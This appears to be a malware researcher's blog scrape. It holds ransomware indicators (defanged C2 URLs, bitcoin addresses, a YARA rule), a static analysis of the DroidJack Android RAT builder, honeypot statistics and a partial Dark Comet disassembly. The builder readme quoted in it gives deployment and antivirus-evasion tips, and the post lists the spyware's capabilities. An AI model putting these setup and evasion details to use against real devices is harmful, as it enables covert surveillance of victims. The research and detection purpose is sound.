661133c3848e57c4541a54b094c1b7124986872c4ce475ceda02440b48c823c1 79c54004cef1c91c0b468817f39caa16e0d3888242e62608cd2c8960b929e389 2f5b4ad81d358d57b8076a9b432be0e41ddff729c596b5b8ce5a01039dfaac3c cb43a2046121d78a866b0e45343e9f6daf1b8eb4326900d6c5039514b22eb045 a1e1b22f907b4b5d801e7c1dd3855d77bf28831eaadc2fbf9ed16ee0cdcc8ccf dcd7b8681e9ebcb657cb8f2f3d85c8920f6321c3f90885c31f3a3ab72c4a11cb e1c59c0eb434fb93001c0d766b6cb3191f6143c693b11bde5151d495a1834fb5 f122c3fe0fbeeec5c35f94f82646f31356239d46a22d9fc841cc8a74bb4b266e a852115c3baf3f4378cd626b4663bafb3a7b3da773036d4c96378f17426e03b9 eaa583d8c6cedf775d9254fa08d752d505c6746ccad60a71fce081ea873eee0c 6d21e538115bcf30354360e81969cc5b438e5cd5be48eebf6243cc37e06cff0c 360f5e83e2139c3c9ba28663f5c522479b72771562e1c5c1ca27d4c3da1f7ef5 5436f32bbf0e3366ee724e4fc58d98e5aca8bc43b51f2992b0fbcc6707239b95

Here are associated download and C2 URLs from the samples above:
hxxp://advancedtopmax.info/e/5919e31e177c8/5919e31e17827.bin hxxp://climatage.ru/philly-germany.exe hxxp://free-stuff-here.netne.net/lolipop.php hxxp://87i03clk4zcw06uy1cv5.nl/mass/hospital/spam/index.php hxxp://www.t00ter.net/index.php hxxp://foolonthehill.website/dv/58d03dedbbb6f/58d03dedbbbe8.php hxxp://www.mimosdanna.com.br/cgi-sys/suspendedpage.cgi hxxp://elleranfitness.com.au/b1.php hxxp://elleranfitness.com.au/css/b/b1.php hxxp://smspillar.com/b1.php hxxp://unmuha.ac.id/b1.php hxxp://unmuha.ac.id/css/b/b1.php hxxp://ekose.net/b1.php hxxp://95.211.147.156/slurp/slurp.php hxxp://sequestrandok1.asia/misterk.php hxxp://sequestrandok2.asia/misterk.php hxxp://free-stuff-here.netne.net/lolipop.php

Associated BTC addresses (both from the .php test file and live samples):
14M8KGBLPaFvn1ZksnUqbFdPqtDqvbKZxm 19p1qwepRrYfeSKkrH2yWiKKimpMAjfxEn 1FyTD95k1ePdewMHGHieeg7VHwmHbinyDF 1HmNQChNXz3mcXrG4gADMrwcoSCBtYJVJo 1g2Xw9dT2XyhV4NnWFPEADbGubD94wNfr 1QAp9xdojT2i61xoC1guP4uKNE6pmMxyAC 195DMVkyh8oMi7tvEoC7XCZ72tQ2yi4aas 1Lo3fcDaF46ZntFSAPwMMJJmB5R8RTAUN5 14VWCve4sT2fb7SCjvNmhpv8g98pzzRD6r 1JjLxyoMYHkm9VXHsfGVpK4UmUnp9ViJwv 1MG9875hajVtUmaE38wrBbXhbaNXCP46MV

yara rule:
rule Phladelphia_Generic { meta: description = "Detects Philadelphia Client based on test build" author = "BYEMAN" date = "2017/05/30" strings: $phila0 = "give up fabian" $phila1 = "How to recover my files.txt" $phila2 = "/AutoIt3ExecuteScript" $phila3 = "struct;align 4;dword FileAttributes;uint64 CreationTime;uint64 LastAccessTime;uint64 LastWriteTime;" $phila4 = "tempspeech.mp3" $phila5 = "?p=Insert" $phila6 = "&osinfo=" $phila7 = "&user=" $phila8 = "&country=" $phila9 = "&av=" $phila10 = "&locale=" $phila11 = "&ucd=" $phila12 = "pd4ta.dat" $phila13 = "delph1.dat" $phila14 = "Isass.exe" $phila15 = "Wallet for Sending Bitcoins" $phila16 = "Thanks! Please wait while we decrypt your files. Do NOT turn off your machine." $phila17 = "Paste here the transaction ID to get your files back:" $phila18 = ".locked" condition: $phila0 and $phila1 and $phila2 and $phila3 and $phila4 and $phila5 and $phila6 and $phila7 and $phila8 and $phila9 and $phila10 and $phila11 or $phila12 or $phila13 or $phila14 or $phila15 or $phila16 or $phila17 or $phila18 }

I’m Back! (and Droidjack Analysis)

Posted on May 14, 2017 - May 30, 2017 by rhyolite

After a long break, I’ve decided to start posting material again. Last time I posted, it was to announce that I had just started doing malware analysis professionally. I’m still doing that, but now that I’ve gotten up to speed on my new role I wanted to start posting my own work again. I’m going to focus on things that I find interesting and also keep my work topics completely separate from my personal research. I’m also not going to focus on a strict timeline, because work demands often wreak havoc on any scheduling ideas I might have (the recent WanaCrypt0r incident is one such example). I’ll get to this stuff when I can, and post when I feel like it’s ready to go.

I’ve been interested in mobile malware for a while now, but we don’t cover that at work. I decided to take a look at what mobile malware is available on a certain underground forum and found several examples. On a separate but related topic, now that I’ve been doing this full time as my day job, I’ve learned that many malware developers try to hide behind claims that what they’re doing is either 1) creating “educational” malware to learn to code or 2) that they are peddling legitimate “system management” tools. Some good examples of these include Orcus RAT or NexusLogger (“protect your kids! Monitor your employees!”). Droidjack appears to be one of these Remote Admin “Tools” for Android devices. According to the DroidJack website (http://www.droidjack[.]net):

There is nothing that you can do with a PC that you can’t do using an Android phone. Since the power in the hand has grown so much, a control over that power is also needed. DroidJack is what you need for that. DroidJack gives you the power to establish control over your beloveds’ Android devices with an easy to use GUI and all the features you need to monitor them. [Emphasis mine]

Yes, because what we all need is to “control our beloveds…”. Total BS, and once you start to examine the software in more detail, you get to see the real picture painted by the developer.

On an underground forum, some kind individual uploaded a cracked DroidJack 4.4 builder with the following characteristics:

MD5 502b45d4d238e02f793a5b8669fa77fb
SHA1 6defd64dfde0bfdfec8b8d92371aa5d5dd5e4e95
SHA256 6dfef45751e209486aa714b8cf80fbd5b74b2f6f7c522bbb3a83c002ca3e5d6b
ssdeep:
393216:jf9tMySrGbauBeysCQTAjrW5yXkgKuRnKuU3R/T5GLaX:DQySSepbCQTarW54MuRCpEe
File size 17.9 MB ( 18811664 bytes )

Taking a look inside, there’s a readme file, let’s see what’s interesting in there:

Author:
——–
L.R Sanjeevi (c) 2015.

Good to know.

Setup Instructions:
——————–
1) Register a dynamic dns from no-ip or dnsdynamic.com
2) Choose a port (Example: 1337), forward the chosen port (1337) and 1334
(default) so u need to port forward 2 ports!
3) Generate the APK with the chosen port (1337) and ur dynamic dns and other details!
4) Do not scan it on virustotal or such sites so that it remains FUD longer.

Huh, well, that’s interesting right? There’s nothing necessarily wrong with places like VPS hosts, except that it’s common to see them hosting some shady stuff. But DroidJack is a legit tool, why do we need to go to these lengths? Also, don’t upload it to VT so that it stays FUD longer? For those unfamiliar with this term, FUD means Fully UnDetectable and is a common claim from skids uploading their tools to underground forums (and usually their garbage malware isn’t FUD anyway). Gee, sure seems pretty paranoid for a LEGITIMATE system management tool…

Ah, they have a helpful FAQ further down, here are some interesting questions and answers:

5) I have used the stealth mode but app icon is visible!
Ans) The app needs to be opened once at least then it will automatically hide the icon. In some devices after a reboot the icon will disappear.
6) I am getting an error when I try to bind with an app or game!
Ans) Try binding with a different app or game. Some apps or games will have checks when modifying so it will not allow modifications.
8) Can I use a different port instead of port 1334 (default port)?
Ans) No. Port 1334 must be opened only for DroidJack.
12) I am not able to upload files to the device!
Ans) Check if you have write access on that folder. You can see that by selecting the folder.
13) I am not able to delete SMS messages!
Ans) In Android 4.4 and above this feature will not work due to API restrictions.

So, there’s a stealth mode so the victim user can’t see that the RAT is installed… there’s a bind feature to bind the malware totally legit tool to an actual legitimate application… you can upload files to the device running DroidJack and apparently access SMS messages. Totally sounds like things you’d need to do for legitimate system management purposes.

The last line is sort of funny:

Feel free to contact me for support and suggest your ideas.

Uh, how about, stop writing malware?

OK, so looking in this thing, there are several files and folders in the builder after extraction. Looking in the Apktool folder, I see something called SandroRat.apk – Googling Sandro RAT results in a bunch of results regarding the targeting of banks using Sandro RAT in phishing. Such a legit tool! Maybe the developer of DroidJack stole this person’s work, or maybe it’s this dev’s work that’s being reused.

One thing that is nice about looking at something like Java (or .Net) is that because of the nature of the language, if you have the application, you typically have the source code (unless it’s been obfuscated, and even then you usually will get it). Scanning through the SandroRat.apk file, it looks like there’s code to support the following functionality:

SMS activity logging and tracking
- Incoming / Outgoing / Draft SMS messages
- The malware grabs the following fields:
  - FROMTXT
  - CNAME
  - FROMPHNO
  - MDATE
  - MYTXT
  - TOPHNO
- Goes after Whatsapp data (via the msgstore.db file)
- Gathers contact info, browser and bookmark history, and call records
- Gets GPS / location information
- Turn screen on/off
- Gather device information (system inventory function):
  - Brand
  - Serial number
  - Model
  - OS version / release
  - WiFi connection info (specifically the MAC address)
  - Device IP address
  - Device ID
  - Phone network operator name
  - List of installed apps
  - Current running task list
- Recording of audio (sample rate 11025, encoding bitrate 128)
- Ability to turn on WiFi or mobile data in order to achieve connectivity with the RAT controller
- Take photos and record videos using the onboard cameras
- Update feature
- Phone state information (Offhook, Idle, etc.)
- Call recording
  - Files will appear in the format “rec_*.amr” and will also log the date/time group of the call, state, and phone number

This file had numerous references to both Sandro RAT as well as DroidJack within it. Sort of makes me think that DroidJack is just the next iteration of Sandro RAT. Adding to this, looking inside the Droidjack.jar file (which is the main builder Java executable), one of the main blocks of code in there refers to Sandro RAT.

OK, let’s run this thing.

How friendly it is. The main panel is where you can view a summary of all of your victims, displaying their country, phone number, phone model and manufacturer, OS version, IP address, phone ID, the current running app and idle time. You’d think that if you were just using this for something “legitimate” like spying on your spouse or your kids that you would already know what country they’re in and their phone number… but anyway…

In the about tab, you can see that the developer isn’t shy about this:

Going to the Generate APK tab, we see this:

What’s that on the right? “The generated APK file should be installed on the victim’s Android device!” Wait, what? VICTIM? WHAT EVER DO YOU MEAN SIR, THIS IS A LEGITIMATE ADMIN TOOL… I’ll try to stop going off about this but can’t guarantee it. Anyway, here we can see the various characteristics we can set for the generated RAT client that would be used to infect a target device. These are App Name, File Name, Dynamic DNS provider, Port, Bind (so as to package your RAT with something actually legitimate), and the option to engage “Stealth Mode”.

The advanced options button brings up a new window with the following appearance:

So it appears that you can disable certain functionality that we saw in the quick review of the Sandro RAT code, specifically access to and/or harvesting of files, SMS messages, call data, contacts, location data and the ability to remotely record audio and/or still or video images. It also looks like there’s an obfuscator built into this to obscure strings using AES, DES, TripleDES or Blowfish. I’m going to skip all this for now, but will come back to this later.

OK, I generated a sample of the client using the following parameters:

App name: totally-legit
File name: totally-legit
Dynamic DNS: 127.0.0.1
Port: 31337 (because I’m SUPAR 1337)

I guess I should also note that at this point I haven’t seen anything drop or observed any “strange” network activity, so it appears that this builder was leaked “clean”. Great, so now we have our totally-legit.apk file. Let’s take a look inside…and it’s basically exactly the same code as the Sandro RAT apk. All that discussion about Sandro RAT from before, just s/Sandro RAT/DroidJack/ and we’re pretty much done. However, let’s try applying some of the obfuscation to the clients and see what happens.

What I noticed is that while the clients do come out differently, I’m just not seeing how they are obfuscated when applying the various crypto methods to the clients. Opening each of these files in my tool just shows me all the strings in plaintext. The only thing that’s different is that when I built a “stealth” client, there were a couple new classes added (“oa” and “qa”) which appear to use a combination of Base64 and Blowfish to help obscure things. I must not be getting something, though, because when I try to apply crypto to obfuscate strings, I expect to not be able to see any strings anymore.

I hope all this was interesting. I don’t currently have an Android test environment up and running, so this was done all statically. I went ahead and uploaded the files that came out of all this, maybe you’ll find these and play around with them yourself. For my first time ever looking at something for a mobile device, I think this isn’t an awful first attempt at looking at a mobile RAT.

Some mitigation recommendations:

Don’t download shady apps that might have something like DroidJack bound with it.
Given that the RAT has to use port 1334 (and seems to like 1337), one could be aware of strange traffic on these ports.
Given the functionality, one could try to observe the following indicators:
- If you observe strange files being saved on your device, such as the aforementioned “rec_*.amr” files or other indicators, that could possibly indicate this (or perhaps another) RAT is present on the device
- Also, unusual amounts of mobile data being used could indicate an infection, as this malware appears to be able to activate mobile data for connectivity purposes
- Finally, if the screen randomly or unintentionally turns itself on or off, this could also indicate something malicious present on the device

Here are the rest of the file hashes from DroidJack:

Sandro RAT .apk
MD5 9202458b25d8c56b85b5801c254c43e9
SHA1 97b1a631fd88b13327b00269f859f0e311b5ac93
SHA256
03ac348fc2978168bf86a1ba63a32f411e5642fbd11c95f59ff4d4c7e7b049c6
ssdeep6144:yuObopWPaR7mM++Iu8hK+CqoDTvJpsbV1dFqQOG8/8V4Sy8:yuObyjOu1+ToDTRpE1utDf8
File size 252.5 KB ( 258537 bytes )
https://www.hybrid-analysis.com/sample/03ac348fc2978168bf86a1ba63a32f411e5642fbd11c95f59ff4d4c7e7b049c6?environmentId=200

DroidJack Builder Main Executable
MD5 2f1d90b58522ebec2846c8dd27943b9c
SHA1 bc821c3ee2a4b86a08b4ec701cdb8fe79300b80c
SHA256
0842b4ac4b0c2198ea305f56fc5d649598a903dccfcbdd22ec22f2b0f68cb7be
ssdeep24576:lO0l4+lqJxEHBu6oF3NKfaHpvZwE+08jnt/o3Tim6xD8m:lBG++6ObJvOp0YSji/5
File size 1.6 MB ( 1675231 bytes )
https://www.hybrid-analysis.com/sample/0842b4ac4b0c2198ea305f56fc5d649598a903dccfcbdd22ec22f2b0f68cb7be?environmentId=100

Basic DroidJack Client
MD5 132f2b9f6775d51f2c776358f1176989
SHA1 2ecadde1b70c245d6725565ff1684468b3e2da31
SHA256 a664d235973da209501ef982754389b1515a96d7bee9dec6692dbe2d9b6a12ca
ssdeep6144:Eybt4/YCgynNsY3ShU7cM63ezK+Kylye4Rb/Il09UVGGOv:tWwXLYiM63eO+Ky0Rb/+6UVZOv
File size 254.4 KB ( 260475 bytes )
https://www.hybrid-analysis.com/sample/a664d235973da209501ef982754389b1515a96d7bee9dec6692dbe2d9b6a12ca?environmentId=200

Basic DroidJack Client (3DES)
MD5 e2391b89afbade0d1a95f653c9c89159
SHA1 e66f7b7ddb10f8e8311bd3b10bcbe0a79976a04e
SHA256 e1d10b2be5e94d4e16ed440a6a2bedc813e072dbed96eebb578345947128c7dassdeep6144:4yce4/wfBjdznG0Gy1YIAcplQ1C2mtYKhEMsDbwH7aqF8V1hV:5C4f1dhGyeI3plQRlDcH7ao8PhV
File size 264.8 KB ( 271171 bytes )
https://www.hybrid-analysis.com/sample/e1d10b2be5e94d4e16ed440a6a2bedc813e072dbed96eebb578345947128c7da?environmentId=200

Basic DroidJack Client (AES)
MD5 037065bbd4aa6deefff7cb0dbf015eb6
SHA1 2ed326cff4941759ea8d7011a705905801d8e9fb
SHA256 4553f97bff44cdafebab6b403ba7d1607a4720a85b9e63eac850b56049b4296d
ssdeep6144:5ny2w4lYCgynNsY3ShU7cM63ezK+Kylye4Rb/Il09UVGGOO:4qWXLYiM63eO+Ky0Rb/+6UVZOO
File size 254.4 KB ( 260479 bytes )
https://www.hybrid-analysis.com/sample/4553f97bff44cdafebab6b403ba7d1607a4720a85b9e63eac850b56049b4296d?environmentId=200

Basic DroidJack Client (Blowfish)
MD5 9c65c53a31b31c769efa7d7d01ae846b
SHA1 19b3a0f8e787ebb2c9b95f9ebd88d0a5181d2f92
SHA256
82c113ce99b9596db142e36de4ef54410213bd6df1f5f58df72d5392e0743a25
ssdeep6144:nyeo42MLxMh+BTENZZyQxERHyJVO43CtCV0MQ2mPxuGQeZW:yO2+xRBANnJxERSJV5CYV9sPxuuZW
File size 264.9 KB ( 271260 bytes )
https://www.hybrid-analysis.com/sample/82c113ce99b9596db142e36de4ef54410213bd6df1f5f58df72d5392e0743a25?environmentId=200

Basic DroidJack Client (DES)
MD5 b5c6dcc9e98463dbb06707d173bfa0ee
SHA1 b80b73fe66a2f846364d121d7591b32239f09abc
SHA256
80a785327ebbce92f43f2668581f5f55ca616b865d956adf89d92e56d86d680c
ssdeep6144:nyBF4j5NqMwyJPFcsPNsCqDz6002+RaIrKOKTH9UiF:y4j5NqXy5CsFODG00vRVXKjye
File size 264.7 KB ( 271088 bytes )
https://www.hybrid-analysis.com/sample/80a785327ebbce92f43f2668581f5f55ca616b865d956adf89d92e56d86d680c?environmentId=200

Basic DroidJack Client (Stealth)
MD5 0ed3e8f1dff311602aae835b5aa931a3
SHA1 b52a9fb2f93c2a2e724bdc48894fd3d290668b5f
SHA256 19a07f586fc7b52123ff20751a8601f03aa48fee248d33e231f79a27eeca27bb
ssdeep6144:kyWh4diqGpPtW5363otvNDwPnZRQZzegBk3WdmM73H:NXdiqaPtW5fvN0PZRGzeuE0mM3H
File size 264.8 KB ( 271122 bytes )
https://www.hybrid-analysis.com/sample/19a07f586fc7b52123ff20751a8601f03aa48fee248d33e231f79a27eeca27bb?environmentId=200

So Long, and Thanks for All the Fish

Posted on October 25, 2016 - October 20, 2016 by rhyolite

This is going to be my last post for a while, because the primary purpose of my blog has been achieved.

I started this blog as a way to showcase malware analysis work that I’ve done, like a portfolio. I recently accepted an offer at a fantastic organization to do exactly this kind of work. I couldn’t have asked for a better role. I plan to focus solely on my work there which is why I’m going to basically shut down this blog for now.

If I have the time, I may post about malware when I have a chance, or about other topics of interest, but for now I’m going quiet.

Don’t forget your towel.

NYMJCSC Notes and Other Things

Posted on October 11, 2016 - October 7, 2016 by rhyolite

I attended the third annual New York Metro Joint Cyber Security Conference on Wednesday, October 5th and I got to see Lenny Zeltser’s presentation in the morning. I had been up until about 2 AM that morning working on a project to submit to someone, so I got a bit of a late start but managed to make it into the room just as he was beginning his talk.

Lenny’s talk was his usual great content, this time focusing on sort of a “Malware 101” for the attendees. Lenny has a framework for malware analysis which starts at the simplest (automated analysis) and escalates in difficulty up to manual code reversing at the top. He covered his first three areas which encompassed automated analysis (sandboxes), static and dynamic analysis.

Some of the tools he mentioned were new to me, and I plan on checking them out. The most interesting ones to me were:

PE Studio
Nice tool for looking at PE headers. You can see full feature list on their site. Notice that there’s a standard and professional license and the feature list reflects what you can and can’t do with each. The interface looks really nice, and there are some features in the standard (free) edition that could be really helpful like entropy detection and anti-debugging import detection. There are a few things missing in the standard edition, though, like listing exports and resources that I’d miss if I switched to PE Studio completely, so I think I’m going to add this to my toolbox and switch back and forth between this and PEview. If budget were no option, I’d definitely start using the professional version of PE Studio going forward, though.

CaptureBAT
CaptureBAT is a tool that, as Lenny put it, makes a good compliment for something like Process Monitor. This software records state changes and is good for capturing information on file creation, deletion, and other things that you’d be interested in knowing about during dynamic analysis. The only issue with CaptureBAT is that it’s only for 32-bit Windows systems. Lenny said that NoVirusThanks has some tools that can approximate the same functionality for 64-bit machines, though.

ProcDOT
This is a really cool tool for visualizing the output of Process Monitor logs. I wish I had this when I was working on this copy of Adwind and I was manually doing the visualizations. Basically, you let Process Monitor collect data and then you export the data as a .csv and then import this into ProcDOT. ProcDOT will then graph this data and visually show you process and thread creation, function calls, etc. You can see some examples of this output on the ProcDOT blog. I’m definitely going to start using this. I remember having a sample that created 16 child processes and I went through all of that manually, which was no fun…

REMnux
This is a Linux distribution maintained by Lenny Zeltser that comes preloaded with tools for malware analysis. You can browse the full tool list yourself, but this comes with a ridiculous amount of tools both for doing malware analysis directly and for activity in support of malware analysis (such as simulating an Internet connection). I almost think of this as like a Kali for malware.

As far as the other things, I’m going to write up a couple of little topics that came up during some of my analyses that might be of interest to people doing malware analysis.

An easy way to capture dropped files before they are deleted

In one of my Adwind analyses, I noted that there were two .vbs files dropped that were deleted by the malware after execution. I didn’t have any tool that I could use to intercept these files, but I could see where they were being dropped by reviewing Process Monitor results. What I did was I created a .bat file in that directory that contained the following lines:

:loop
copy *.vbs *.vbs.bac
goto loop

Nothing groundbreaking here, but it worked. I put this file into the directory where the malware dropped the .vbs files, and then started the .bat file before I started the malware. When the malware executed, this batch file was able to catch both of the dropped files and made a copy for me to review later. Obviously you could change this to work with different types of files or whatever else you wanted, but this was just a really quick and easy workaround to this issue.

Not very obvious file deletion in Process Monitor

DeleteFile is a fairly common imported function in malware I’ve analyzed, so you’d think that you’d see calls to it in Process Monitor. Another thing I’ve observed is some malware will delete files from a command prompt, and this is fairly easy to pick up in Process Monitor as well. This copy of Adwind, however, deleted files in such a way that it wasn’t immediately obvious to me. What it did was make a call to SetDispositionInformationFile to set Delete:True. If you have files that “disappear” during your analysis, take a look in Process Monitor and set a filter on Operation for SetDispositionInformationFile — you should see the disappearing files show up here. Basically, when this is set to True, then the file is deleted when it is closed, as explained by this MSDN article. This blog post from Malcolm McCaffery goes into more detail here and explains why you shouldn’t expect to see a call to DeleteFile in your Process Monitor results.

That’s all for now.

September 2016 Honeypot Results

Posted on October 4, 2016 by rhyolite

Honeypot update – I still have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).

sepstats1

I didn’t have a similar issue in September as I did in August (when the sheer volume of traffic caused the honeypots to run out of inodes in the first 3-10 days of the month) though Frankfurt ran out towards the very end of the night on the 30^th of September, so that cut it close a bit.

GRAB-NYC03:
Connections: 752,296
Unique IPs: 19,507
Files Downloaded: 5
sepstats2

sepstats3

Interesting to see Kazakhstan make the list this time, with Romania making up a sizable portion of the totals this time around.

sepstats4

UPnP, again, strongly the most popular, and therefore no surprise when we look at the ports:

sepstats5

sepstats6

The top IP address, 40.84.185.138 leads back to Microsoft, actually, as do the next three addresses. 191.237.45.46 apparently leads back to Microsoft also, but this particular entry gets associated with someone apparently with Microsoft in Brazil (Benjamin Orndorff, who apparently is located in Seattle). Maybe this is just a provocation… The next two after that lead back to hosting providers in Europe, while the one after that, 65.19.129.154, seem to lead back to an electric company in California, with a NOC in Sterling, VA. The last two are Microsoft and a hosting provider in Canada.

Here’s a map showing the attacker locations:

sepstats7
sepstats8

Next is the Frankfurt honeypot:

GRAB-FRA01:
Connections: 1,127,930
Unique IPs: 20,659
Files Downloaded: 15

Pretty spectacular number of connections – this is a new personal record for any of my honeypots.

sepstats9
sepstats10
Vietnam making the top 3 this time!

Similar results in terms of the shape of the graph for services, but wow – over a million UPnP connections.

sepstats11

sepstats12
sepstats13
The top IP address leads back to some person in Vietnam. The second highest leads back to that electric company. Turns out it’s actually a hosting provider (Hurricane Electric), so not mysterious anymore. The remainder are hosting providers in France, Hong Kong, and also some of the same parties from Microsoft that we saw earlier with GRAB-NYC.

Now for the maps:

sepstats14
sepstats15

GRAB-SIN01:
Connections: 500,737
Unique IPs: 21,688
Files Downloaded: 10,518

Again, not a mistake – this honeypot set a new record for number of samples collected. Like last month – almost ALL of these downloads were Conficker variants. I did find one other piece of malware in there (Parite-C). I find it really interesting that there is so much Conficker in this region, and how it doesn’t seem to spread to my other honeypots.

sepstats16
sepstats17

India makes the list, which is a first, as well as Venezuela and Ireland.

sepstats18

sepstats19

Services and ports are pretty much in line with other regions.

sepstats20
Microsoft coming in at number 1! And 2, and 3, and 4, 5… and 7… and 10. What the hell? The rest were just some hosting providers in various places (one in India).

Now, maps:

sepstats21

sepstats22

Bangalore:

GRAB-BAN01:
Connections: 457,464
Unique IPs: 21,221
Files Downloaded: 2

As usual, dismal number of files collected from Bangalore. Also, like last month,this honeypot has the highest number of unique IPs of all the GRAB honeypots.

sepstats23

sepstats24

Services/ports in line with other regions:

sepstats25

sepstats26

Microsoft dominates these results also, 7/10. The rest are hosting providers (including one from AWS).

sepstats27

Some maps:

sepstats28

sepstats32

Much more activity on JUMPSEAT in September, here are the total connections by protocol:

sepstats30

Last month saw Modbus as the most popular protocol, followed by all variants of HTTP, so much different this month. Perhaps the parties involved noticed that my honeypot doesn’t quite seem right and stopped bothering.

sepstats31

Lots of activity, but nothing as clearly anomalous as when we had shodan.io scanning the honeypot in August. 80.82.70.24 leads back to a hosting provider in Seychelles. 184.105.139.67 is Shadow Server, again. 52.42.34.123 leads back to Amazon while the next two lead back to Poland. One of them is actually a security company I’m familiar with! Hello there! The last one leads back to UC Berkeley.

That’s it for September, on to other things.

Dark Comet (Part II)

Posted on September 27, 2016 - July 5, 2018 by rhyolite

Continuing from last post… This is my first time disassembling a sample this big, so I’m going to do my best to explain things in a way that makes sense. It’ll be an interesting exercise to figure out how to keep track of such a large disassembly as I go along.

The start function is located at 48F888 and one of the first things that happens here is 0x30 is MOVed into ECX (768 decimal) and this is used for a loop that consists of pushing 0 onto the stack twice (so, at the end of this loop, you’ll have 1,536 zeroes pushed onto the stack). After this, there’s a parameter pushed onto the stack, located at 48E3C0 (which points to 0xA1) and then a call is made to a subroutine at 4076D4. This sub moves the TlsIndex then pushes a module name onto the stack before getting a handle to that module. Within this sub is another subroutine at 4051DC. In this subroutine, we see a couple of double words being set up to point to RaiseException (495014) and RtlUnwind (495018), and then a call to another subroutine at 4050C8 which directs some activity towards FS:

2dc1
I think this will be a lot easier to discern when being debugged. I’m curious what offset this takes at runtime. What’s also happening here is that you can see the pointer at EAX+4 being set to the location 405028, which contains some code related to calling an unhandled exception filter.

The next call after these branches is to 405174, where the code starts to get busier. A bunch of things are pushed onto the stack, and then we see that the double word at 4977D0 (which we saw had something put into it earlier, during the execution of subroutine 4051DC) is put into EAX and then this is TESTed. If the contents of dword_4977D0 is equal to 0, then we jump to the end of this subroutine and we return. Otherwise, execution continues and we hit the first block of code of 405174:

2dc2

We have the contents of the area pointed to at EAX being MOVed into EDI, then we can see that the target of the pointer at EAX+4 (which, currently points to that little block of code having to do with structured exception handling) is put into EAX. This then gets put into the target of var_4 and then EAX gets cleared out. We see something located at 4051C1 get pushed onto the stack – this turns out to be a single instruction, JMP sub_404B30, which contains exception handling information:

2dc3

Not to go too far down this rabbit hole, there are some interesting things in this sub 404B30. One interesting thing is one branch where a subroutine at 40450C is called:

2dc4

I’ve seen other examples of using “f-” instructions as part of some sort of shellcode techniques – I’m not too familiar with these instructions but my intuition is that this isn’t what’s going on here.

Later, after the call to 40450C, we see that something at dword 495010 is put into EDX and then EDX is TESTed to see if it contains anything – if it’s not 0, then it’s used as part of an indirect call. I couldn’t find any direct references to this double word (in terms of putting an address in there) so this is probably another thing that will have to wait until debugging. What’s interesting is that whatever is at this indirect call controls a significant portion of the remaining flow of this subroutine. If this subroutine returns 1, then the entire subroutine branches to an exit, and overall this subroutine returns 1. Otherwise, we continue to branch through these other areas related to exception handling. As part of the “failure” branch, we see a call that ultimate results in an indirect call to RaiseException:

2dc5

Various other calls are there, to RtlUnwind, to the unhandled exception filters, etc. Towards the end, there is a call to 407644. Several layers deep into this sub, we find some branches related to exiting the application with an error, and writing this information to a file:

2dc6

We also see that an error message can be put in a MessageBox:

2dc7

Overall, we step all the way back up to where we entered these many branches, and we’re back to 48F8A0, continuing now that the malware has set up its error and exception handling mechanisms.

Next we see EAX being zeroed out and then some things being pushed onto the stack before a call to CoInitialize. These things being pushed don’t really mean much to the CoInitialize call, though, as this takes only a single parameter which is reserved and must be null (per MSDN: “This parameter is reserved and must be NULL”). One of the things pushed, though, was a location (490656) which contains an instruction to JMP to a subroutine at 404DE4. This appears to go down a similar rabbit hole as earlier, with similar instructions to the error handling stuff discussed above. Shortly after this, there is a call to a subroutine at 481628. This is where we appear to get into the real “malwarey” activity.

This subroutine begins with some setup and also a reference to some of the exception handling material we already saw. Next we see the value 0x320 being MOVed into EAX and then a call to a subroutine at 402F00. The first thing this subroutine does is TEST EAX, EAX and then jumps if the result is less than or equal (JLE). I must be missing something, because I would think that if you just MOVed 0x320 into EAX, then you have a JLE, you should always follow the jump – it becomes sort of an unconditional conditional (equivalent to a JMP). Here’s a quick look at this area of code:

2dc8

I’m wondering if there is some sort of anti-disassembly tactic going on here. Sometimes you might see a conditional jump that appears to be “always taken”, like what I seem to observe above or something like this:

XOR EAX, EAX
TEST EAX, EAX
JZ <location>

So here we’re zeroing out EAX and then TESTing it – since we just zeroed it out, the zero flag (ZF) should be set a this point so therefore the JZ (jump if zero) should ALWAYS be followed. Sometimes malware authors can do things like this with the opcodes in order to get code to disassembly incorrectly (but still execute as intended, it’s just fooling the analyst). When I undefine this section of code and then start redefining different slices of the opcodes as code again, I don’t come across anything that appears to be meaningful, so for now I’m going to leave this be and just note that this might be someplace I need to come back to. Overall, I wouldn’t say that this is a terribly “hostile” sample, though, so I’m not as suspicious as I might be from seeing something like this.

Within this subroutine however, we eventually get sent to a somewhat mysterious, complicated and large subroutine at 401A0C. I’m not able to fully understand what this subroutine is doing – The beginning of the subroutine almost makes me think that it’s looking for an address:

2dc9

I suppose this could be anything, but I feel like those values look similar to addresses. I’m not sure if this would even make sense for a sample of this age, since I think that chances are pretty slim of finding anything at a specific address in any version of Windows you might find out there for the last few years. I don’t recall when address space layout randomization first became prevalent, but I believe it was at least several years before this sample was found in the wild. The rest of this sub is full of arithmetic operations, shifts, rotations, compare/exchanges, and bitscans. At one point, this subroutine also calls another subroutine that allocates memory somewhere. Normally I would associate all of this with some sort of coding routine, but I feel that this isn’t the case here. I’m going to rename this subroutine MaybeDecoding and move on. Just in case it’s of interest, here’s a higher-level view of this subroutine, to give some idea of the activity going on here:

2dc10

Coming back up to 481628, next we see calls to GetCurrentProcess and OpenProcess followed by Sleeping for 1 millisecond. One of the parameters PUSHed onto the stack is the token handle – perhaps the “coding” routine we were just discussing was some method to find an appropriate token. Perhaps the bit scanning functions had to do with that also.

Below this, we then see a call to GetTokenInformation:

2dc11

I notice that number we saw earlier, 0x320, being pushed as the TokenInformationLength. Seeing this number in relation to tokens makes me think that the earlier subroutine was in fact doing something related to finding a particular token or type of token. I’m going to rename the sub accordingly.

After this call to GetTokenInformation, we see additional calls to that token search subroutine, and then we see the malware looping around getting privilege names:

2dc12

The subroutine at 405728 compares CL with the non-zero memory contents of four bytes beginning at [EDX]. There is a mechanism to increment EDX, but what’s interesting here is that this sub 405728 does not end with a RETN but rather with a JMP to a subroutine at 405620. This subroutine runs through some of the same code as before related to token searching / possible antidisassembly and then also calls a subroutine at 4030FC (if the token search function was successful, as an intermediate step) and 405530 (after 4030FC, or simply as the next subroutine in the event that the token search / anti-disassembly routine was unsuccessful). 4030FC conducts a number of arithmetic and floating point operations using EAX and ECX. 405530 leads us down some paths that includes code we’ve seen before, like the area that was focused on shifts/rotations/bitscanning of information. These branches within these subs lead us to more manipulations, more shifts/rotations of values, and even an exit path.

Stepping back up to 481628, the next subroutine being called is 4814E8. Within this subroutine, we see the process token being opened, and also some error handling functions. What’s very interesting is that later on in the code, we see the privileges of a token being adjusted in order to remove all privileges:

